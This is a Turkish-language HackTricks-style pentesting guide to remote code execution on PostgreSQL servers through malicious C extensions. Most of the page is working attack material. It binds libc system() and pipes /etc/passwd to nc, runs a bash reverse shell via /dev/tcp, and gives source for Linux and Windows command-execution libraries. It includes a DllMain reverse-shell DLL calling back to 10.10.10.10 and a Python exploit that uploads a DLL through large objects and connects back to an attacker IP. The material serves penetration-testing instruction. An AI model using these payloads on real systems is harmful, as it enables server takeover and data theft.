# RCE with PostgreSQL Extensions {{#include ../../../banners/hacktricks-training.md}} ## PostgreSQL Extensions PostgreSQL, genişletilebilirliği temel bir özellik olarak geliştirilmiştir ve uzantıları, sanki yerleşik işlevler gibi sorunsuz bir şekilde entegre etmesine olanak tanır. Bu uzantılar, esasen C dilinde yazılmış kütüphaneler olup, veritabanını ek işlevler, operatörler veya türlerle zenginleştirir. 8.1 sürümünden itibaren, uzantı kütüphaneleri için belirli bir gereklilik getirilmiştir: özel bir başlık ile derlenmelidirler. Bunu yapmadan PostgreSQL, bunları çalıştırmayacak ve yalnızca uyumlu ve potansiyel olarak güvenli uzantıların kullanılmasını sağlayacaktır. Ayrıca, **eğer PostgreSQL'i kötüye kullanarak kurbanın dosyalarını nasıl yükleyeceğinizi bilmiyorsanız, bu yazıyı okumalısınız.** [**upload files to the victim abusing PostgreSQL you should read this post.**](big-binary-files-upload-postgresql.md) ### RCE in Linux **Daha fazla bilgi için kontrol edin: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)** PostgreSQL 8.1 ve önceki sürümlerden sistem komutlarının yürütülmesi, açıkça belgelenmiş ve basit bir süreçtir. Bunu kullanmak mümkündür: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload). ```sql CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; SELECT system('cat /etc/passwd | nc '); # You can also create functions to open and write files CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT; CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT; CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT; ```
Base64'ten ikili dosya yazma Postgres'te bir dosyaya ikili yazmak için base64 kullanmanız gerekebilir, bu konuda faydalı olacaktır: ```sql CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS $$ DECLARE fh int; s int; w bytea; i int; BEGIN SELECT open(textout(file)::cstring, 522, 448) INTO fh; IF fh <= 2 THEN RETURN 1; END IF; SELECT decode(s, 'base64') INTO w; i := 0; LOOP EXIT WHEN i >= octet_length(w); SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs; IF rs < 0 THEN RETURN 2; END IF; i := i + 1; END LOOP; SELECT close(fh) INTO rs; RETURN 0; END; $$ LANGUAGE 'plpgsql'; ```
Ancak, daha büyük sürümlerde denendiğinde **aşağıdaki hata gösterildi**: ```c ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro. ``` Bu hata [PostgreSQL belgelerinde](https://www.postgresql.org/docs/current/static/xfunc-c.html) açıklanmaktadır: > Dinamik olarak yüklenen bir nesne dosyasının uyumsuz bir sunucuya yüklenmediğinden emin olmak için, PostgreSQL dosyanın uygun içeriklere sahip bir "sihirli blok" içerip içermediğini kontrol eder. Bu, sunucunun PostgreSQL'in farklı ana sürümü için derlenmiş kod gibi belirgin uyumsuzlukları tespit etmesine olanak tanır. PostgreSQL 8.2 itibarıyla bir sihirli blok gereklidir. Bir sihirli blok eklemek için, bu modül kaynak dosyalarından birine (ve yalnızca birine) fmgr.h başlığını ekledikten sonra şunu yazın: > > `#ifdef PG_MODULE_MAGIC`\ > `PG_MODULE_MAGIC;`\ > `#endif` PostgreSQL sürüm 8.2'den itibaren, bir saldırganın sistemi istismar etme süreci daha zor hale getirilmiştir. Saldırganın ya sistemde zaten mevcut bir kütüphaneyi kullanması ya da özel bir kütüphane yüklemesi gerekmektedir. Bu özel kütüphane, uyumlu ana PostgreSQL sürümüne karşı derlenmeli ve belirli bir "sihirli blok" içermelidir. Bu önlem, PostgreSQL sistemlerini istismar etmeyi önemli ölçüde zorlaştırır, çünkü sistemin mimarisi ve sürüm uyumluluğu hakkında daha derin bir anlayış gerektirir. #### Kütüphaneyi derleyin PostgreSQL sürümünü almak için: ```sql SELECT version(); PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit ``` Uyumluluk için, ana sürümlerin uyumlu olması gerekmektedir. Bu nedenle, 9.6.x serisindeki herhangi bir sürümle bir kütüphane derlemek, başarılı bir entegrasyonu sağlamalıdır. O sürümü sisteminize kurmak için: ```bash apt install postgresql postgresql-server-dev-9.6 ``` Ve kütüphaneyi derleyin: ```c //gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c #include #include "postgres.h" #include "fmgr.h" #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif PG_FUNCTION_INFO_V1(pg_exec); Datum pg_exec(PG_FUNCTION_ARGS) { char* command = PG_GETARG_CSTRING(0); PG_RETURN_INT32(system(command)); } ``` Sonra derlenmiş kütüphaneyi yükleyin ve komutları şu şekilde çalıştırın: ```bash CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT; SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'); #Notice the double single quotes are needed to scape the qoutes ``` Bu **kütüphaneyi önceden derlenmiş** olarak çeşitli PostgreSQL sürümlerinde bulabilirsiniz ve hatta **bu süreci otomatikleştirebilirsiniz** (eğer PostgreSQL erişiminiz varsa) ile: {{#ref}} https://github.com/Dionach/pgexec {{#endref}} ### Windows'ta RCE Aşağıdaki DLL, **ikili dosyanın adını** ve **kaç kez** çalıştırmak istediğinizi **girdi** olarak alır ve çalıştırır: ```c #include "postgres.h" #include #include "fmgr.h" #include "utils/geo_decls.h" #include #include "utils/builtins.h" #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif /* Add a prototype marked PGDLLEXPORT */ PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS); PG_FUNCTION_INFO_V1(pgsql_exec); /* this function launches the executable passed in as the first parameter in a FOR loop bound by the second parameter that is also passed*/ Datum pgsql_exec(PG_FUNCTION_ARGS) { /* convert text pointer to C string */ #define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp))) /* retrieve the second argument that is passed to the function (an integer) that will serve as our counter limit*/ int instances = PG_GETARG_INT32(1); for (int c = 0; c < instances; c++) { /*launch the process passed in the first parameter*/ ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1); } PG_RETURN_VOID(); } ``` Bu zip dosyasında derlenmiş DLL'yi bulabilirsiniz: {{#file}} pgsql_exec.zip {{#endfile}} Bu DLL'ye **hangi ikili dosyanın çalıştırılacağını** ve kaç kez çalıştırılacağını belirtebilirsiniz, bu örnekte `calc.exe` 2 kez çalıştırılacaktır: ```bash CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT; SELECT remote_exec('calc.exe', 2); DROP FUNCTION remote_exec(text, integer); ``` [**burada** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) bu ters kabuğu bulabilirsiniz: ```c #define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10" #define PG_REVSHELL_CALLHOME_PORT "4444" #include "postgres.h" #include #include "fmgr.h" #include "utils/geo_decls.h" #include #pragma comment(lib,"ws2_32") #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif #pragma warning(push) #pragma warning(disable: 4996) #define _WINSOCK_DEPRECATED_NO_WARNINGS BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL, _In_ DWORD fdwReason, _In_ LPVOID lpvReserved) { WSADATA wsaData; SOCKET wsock; struct sockaddr_in server; char ip_addr[16]; STARTUPINFOA startupinfo; PROCESS_INFORMATION processinfo; char *program = "cmd.exe"; const char *ip = PG_REVSHELL_CALLHOME_SERVER; u_short port = atoi(PG_REVSHELL_CALLHOME_PORT); WSAStartup(MAKEWORD(2, 2), &wsaData); wsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); struct hostent *host; host = gethostbyname(ip); strcpy_s(ip_addr, sizeof(ip_addr), inet_ntoa(*((struct in_addr *)host->h_addr))); server.sin_family = AF_INET; server.sin_port = htons(port); server.sin_addr.s_addr = inet_addr(ip_addr); WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server), NULL, NULL, NULL, NULL); memset(&startupinfo, 0, sizeof(startupinfo)); startupinfo.cb = sizeof(startupinfo); startupinfo.dwFlags = STARTF_USESTDHANDLES; startupinfo.hStdInput = startupinfo.hStdOutput = startupinfo.hStdError = (HANDLE)wsock; CreateProcessA(NULL, program, NULL, NULL, TRUE, 0, NULL, NULL, &startupinfo, &processinfo); return TRUE; } #pragma warning(pop) /* re-enable 4996 */ /* Add a prototype marked PGDLLEXPORT */ PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS); PG_FUNCTION_INFO_V1(add_one); Datum dummy_function(PG_FUNCTION_ARGS) { int32 arg = PG_GETARG_INT32(0); PG_RETURN_INT32(arg + 1); } ``` Bu durumda **kötü niyetli kodun DllMain fonksiyonu içinde olduğunu** unutmayın. Bu, bu durumda postgresql'de yüklenen fonksiyonu çalıştırmanın gerekli olmadığı anlamına gelir, sadece **DLL'yi yüklemek** **ters shell'i çalıştıracaktır:** ```c CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT; ``` [PolyUDF projesi](https://github.com/rop-la/PolyUDF), tam MS Visual Studio projesi ve çoklu versiyon desteği olan kullanıma hazır bir kütüphane (şunları içerir: _command eval_, _exec_ ve _cleanup_) ile iyi bir başlangıç noktasıdır. ### En yeni PostgreSQL sürümlerinde RCE PostgreSQL'ün **en son sürümlerinde**, `superuser`'ın belirli dizinler dışında paylaşılan kütüphane dosyalarını **yüklemesi** **yasaklanmıştır**; bu dizinler Windows'ta `C:\Program Files\PostgreSQL\11\lib` veya \*nix sistemlerinde `/var/lib/postgresql/11/lib` gibi yerlerdir. Bu dizinler, NETWORK_SERVICE veya postgres hesapları tarafından yazma işlemlerine karşı **güvenli** hale getirilmiştir. Bu kısıtlamalara rağmen, kimlik doğrulaması yapılmış bir veritabanı `superuser`'ı, "büyük nesneler" kullanarak dosya sistemine **ikili dosyalar yazma** yeteneğine sahiptir. Bu yetenek, veritabanı işlemleri için gerekli olan `C:\Program Files\PostgreSQL\11\data` dizininde yazma işlemlerini de kapsar; bu, tabloları güncelleme veya oluşturma gibi işlemler için gereklidir. `CREATE FUNCTION` komutundan kaynaklanan önemli bir güvenlik açığı, veri dizinine **dizin geçişine** **izin vermesidir**. Sonuç olarak, kimlik doğrulaması yapılmış bir saldırgan, bu geçişi **istismar ederek** veri dizinine bir paylaşılan kütüphane dosyası yazabilir ve ardından bunu **yükleyebilir**. Bu istismar, saldırgana rastgele kod çalıştırma yeteneği vererek sistemde yerel kod yürütülmesini sağlar. #### Saldırı akışı Öncelikle **dll'yi yüklemek için büyük nesneleri kullanmalısınız**. Bunu nasıl yapacağınızı burada görebilirsiniz: {{#ref}} big-binary-files-upload-postgresql.md {{#endref}} Uzantıyı (bu örnek için poc.dll adıyla) veri dizinine yükledikten sonra, bunu şu şekilde yükleyebilirsiniz: ```c create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict; select connect_back('192.168.100.54', 1234); ``` _Not edin ki `.dll` uzantısını eklemenize gerek yoktur çünkü create fonksiyonu bunu ekleyecektir._ Daha fazla bilgi için **orijinal yayını**[ **buradan okuyun**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\ O yayında **bu, postgres uzantısını oluşturmak için kullanılan** [**koddu**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_bir postgres uzantısını nasıl derleyeceğinizi öğrenmek için önceki sürümlerden herhangi birini okuyun_).\ Aynı sayfada bu **teknik otomatikleştirmek için** bir **sömürü** verildi: ```python #!/usr/bin/env python3 import sys if len(sys.argv) != 4: print("(+) usage %s " % sys.argv[0]) print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0]) sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) lib = sys.argv[3] with open(lib, "rb") as dll: d = dll.read() sql = "select lo_import('C:/Windows/win.ini', 1337);" for i in range(0, len(d)//2048): start = i * 2048 end = (i+1) * 2048 if i == 0: sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex()) else: sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex()) if (len(d) % 2048) != 0: end = (i+1) * 2048 sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex()) sql += "select lo_export(1337, 'poc.dll');" sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;" sql += "select connect_back('%s', %d);" % (host, port) print("(+) building poc.sql file") with open("poc.sql", "w") as sqlfile: sqlfile.write(sql) print("(+) run poc.sql in PostgreSQL using the superuser") print("(+) for a db cleanup only, run the following sql:") print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;") print(" drop function connect_back(text, integer);") ``` ## Referanslar - [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/) - [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084) {{#include ../../../banners/hacktricks-training.md}}